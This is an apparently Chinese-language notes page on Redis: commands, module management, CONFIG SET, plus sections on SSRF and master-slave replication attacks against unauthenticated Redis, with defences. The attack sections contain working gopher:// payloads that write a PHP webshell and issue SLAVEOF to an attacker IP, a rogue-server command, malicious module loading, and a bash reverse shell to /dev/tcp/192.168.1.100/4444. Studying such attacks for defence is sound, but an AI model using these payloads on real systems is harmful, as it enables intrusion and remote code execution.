Redis 详细解析与介绍

Redis（Remote Dictionary Server）是一个开源的高性能键值对（Key-Value）数据库，支持多种数据结构（如字符串、哈希、列表、集合等），广泛应用于缓存、消息队列、实时数据分析等场景。

核心特点：

1. 内存存储：数据主要存储在内存中，读写性能极高（10万+/秒 QPS）。
2. 持久化支持：支持 RDB（快照）和 AOF（追加日志）两种持久化方式。
3. 多数据结构：支持字符串、哈希、列表、集合、有序集合等。
4. 单线程模型：避免锁竞争，通过异步I/O处理高并发。
5. 高可用与集群：支持主从复制、哨兵模式（Sentinel）和集群模式（Cluster）。

---

Redis 常用命令大全

1. 通用命令

命令	说明	示例
KEYS pattern	匹配所有符合模式的键	KEYS user:*
DEL key	删除指定键	DEL user:1
EXPIRE key seconds	设置键的过期时间（秒）	EXPIRE user:1 60
TTL key	查看键剩余过期时间	TTL user:1
TYPE key	查看键的数据类型	TYPE user:1

2. 字符串（String）

命令	说明	示例
SET key value	设置键值	SET name "Alice"
GET key	获取键值	GET name
INCR key	键值自增1	INCR counter
APPEND key val	追加字符串	APPEND name " Smith"

3. 哈希（Hash）

命令	说明	示例
HSET key field val	设置哈希字段值	HSET user:1 name "Alice"
HGET key field	获取哈希字段值	HGET user:1 name
HGETALL key	获取所有字段和值	HGETALL user:1

4. 列表（List）

命令	说明	示例
LPUSH key val	从列表左侧插入元素	LPUSH tasks "task1"
RPOP key	从右侧弹出元素	RPOP tasks
LRANGE key s e	获取列表范围元素	LRANGE tasks 0 -1

5. 集合（Set）

命令	说明	示例
SADD key member	添加元素到集合	SADD tags "redis"
SMEMBERS key	获取集合所有元素	SMEMBERS tags
SINTER key1 key2	求两个集合的交集	SINTER tags1 tags2

---

SSRF漏洞利用与Redis相关命令

什么是SSRF？

SSRF（Server-Side Request Forgery）是攻击者诱使服务器向内部或第三方系统发起恶意请求的漏洞。结合未授权访问的Redis服务，攻击者可通过SSRF执行高危操作。

Redis SSRF利用场景

1. 目标环境：

   • Redis未设置密码（默认无认证）。
   • Redis服务暴露在内网或公网（默认端口6379）。

2. 攻击步骤：

   • 探测Redis服务：通过SSRF访问 http://victim.com/ssrf?url=redis://内网IP:6379。
   • 执行恶意命令：利用Redis协议发送命令，如写入Webshell、反弹Shell等。

高危Redis命令与利用

以下命令常被用于攻击：

命令	利用场景
FLUSHALL	清空所有数据，为后续攻击做准备。
CONFIG SET dir /path	设置Redis持久化目录（如Web目录）。
CONFIG SET dbfilename	设置持久化文件名（如写入Webshell shell.php）。
SET key "恶意代码"	写入恶意内容到数据库。
SAVE	触发持久化操作，将数据写入文件（如生成Webshell）。
MODULE LOAD /path.so	加载恶意Redis模块（需提前上传）。
SLAVEOF host port	设置主从复制，从恶意服务器同步数据（用于RCE）。
EVAL "lua脚本" 0	执行Lua脚本（可能用于漏洞利用）。

攻击案例：通过SSRF写入Webshell

# 通过Gopher协议发送Redis命令（需URL编码）
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

防御措施

1. Redis安全配置：

   • 设置密码认证（requirepass）。
   • 禁用高危命令（通过 rename-command 重命名或禁用）。
   • 限制绑定IP（bind 127.0.0.1）。

2. SSRF防护：

   • 校验用户输入的URL，禁止访问内网IP和敏感端口。
   • 使用白名单域名/IP限制请求目标。

---

Redis 主从复制攻击详解整合

主从复制攻击原理

Redis 主从复制（Replication）机制允许从节点（Slave）同步主节点（Master）的数据。攻击者可利用此特性，强制目标Redis作为从节点连接到攻击者控制的恶意主节点，通过同步恶意数据（如加载动态模块或写入Webshell），最终实现远程代码执行（RCE）。

攻击前提条件

1. Redis未授权访问：目标Redis无密码认证或密码被破解。
2. SSRF漏洞存在：可通过SSRF触发Redis协议交互（如gopher://、dict://）。
3. 目标Redis支持模块加载（4.x以上版本）或允许文件写入（如Web目录可写）。

攻击步骤与命令

1. 准备恶意主节点

• 使用工具搭建恶意Redis主节点（如Redis Rogue Server）：

  python3 redis-rogue-server.py --rhost <目标IP> --rport 6379 --lhost <攻击者IP> --lport 21000
  

  • 该工具会自动生成恶意模块（.so文件），通过主从复制同步到目标Redis。

2. 强制目标Redis成为从节点

通过SSRF发送SLAVEOF命令，将目标Redis设置为恶意主节点的从节点：

# 通过Gopher协议发送SLAVEOF命令（需URL编码）
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻击者IP长度>%0d%0a<攻击者IP>%0d%0a$5%0d%0a21000%0d%0a

• 关键命令：SLAVEOF <攻击者IP> <端口>。

3. 数据同步与恶意模块加载

1. 目标Redis连接恶意主节点后，自动同步数据。
2. 恶意主节点发送包含恶意模块（如exp.so）的备份文件。
3. 通过MODULE LOAD命令加载恶意模块，执行任意命令：

   MODULE LOAD ./exp.so
   system.exec "id"  # 通过模块函数执行系统命令
   

自动化利用工具

• Redis Rogue Server：一键化主从复制攻击工具，支持RCE。
• Redis SSRF Exploit：通过SSRF直接发送Payload，无需公网IP。

防御措施

1. 禁用高危命令：
   在redis.conf中禁用SLAVEOF和MODULE相关命令：

   rename-command SLAVEOF ""
   rename-command MODULE ""
   

2. 启用认证：
   强制使用密码访问：

   requirepass <强密码>
   

3. 网络隔离：
   • 限制Redis仅监听内网（bind 127.0.0.1）。
   • 防火墙规则禁止外部访问Redis端口（6379）。
4. 最小化模块功能：
   非必要场景禁用Redis模块加载。

攻击案例演示

1. 场景：存在SSRF漏洞的Web应用，内网Redis未授权访问。
2. 利用：

   # 通过SSRF发送SLAVEOF命令http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a

3. 结果：目标Redis加载恶意模块，攻击者执行system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"反弹Shell。

---

Redis 模块管理

一、模块管理命令

1. MODULE LIST
   查看当前已加载的所有模块，返回模块名称、版本及描述信息。例如：

   MODULE LIST
   

   该命令常用于确认模块是否加载成功。

2. MODULE LOAD <path> [arg1 arg2 ...]
   动态加载指定路径的模块（.so文件），支持传递参数到模块的 RedisModule_OnLoad 函数。例如：

   MODULE LOAD /path/to/my_module.so arg1 arg2
   

   参数会通过 argv 和 argc 传递给模块的初始化函数 。

3. MODULE UNLOAD <module-name>
   卸载指定名称的模块（需使用模块注册时的名称，而非文件名）。例如：

   MODULE UNLOAD my_module
   

   若模块定义了 RedisModule_OnUnload 函数，卸载时会自动调用该函数进行资源清理 。

二、配置文件加载模块

在 Redis 启动时通过 redis.conf 配置文件加载模块：

loadmodule /path/to/module.so [arg1 arg2 ...]

此方式适合生产环境，确保模块随 Redis 服务启动自动加载。

---

Redis CONFIG SET 命令的核心功能、用法及注意事项

一、命令功能

CONFIG SET 允许在 Redis 不重启 的情况下动态修改服务器配置参数，适用于调整内存限制、持久化策略、日志行为等场景。
主要特性：

1. 实时生效：修改的参数会立即加载并影响后续操作。
2. 支持参数广泛：涵盖大多数 redis.conf 中的配置项（如 maxmemory、save、appendonly 等）。
3. 灵活性：支持从 RDB 快照切换为 AOF 持久化，或同时启用两者。

二、语法与基本用法

语法

CONFIG SET parameter value [parameter value ...]  

• 单参数设置：CONFIG SET maxmemory 4gb
• 多参数设置（Redis 7.0+）：CONFIG SET maxmemory 4gb save "900 1 300 10"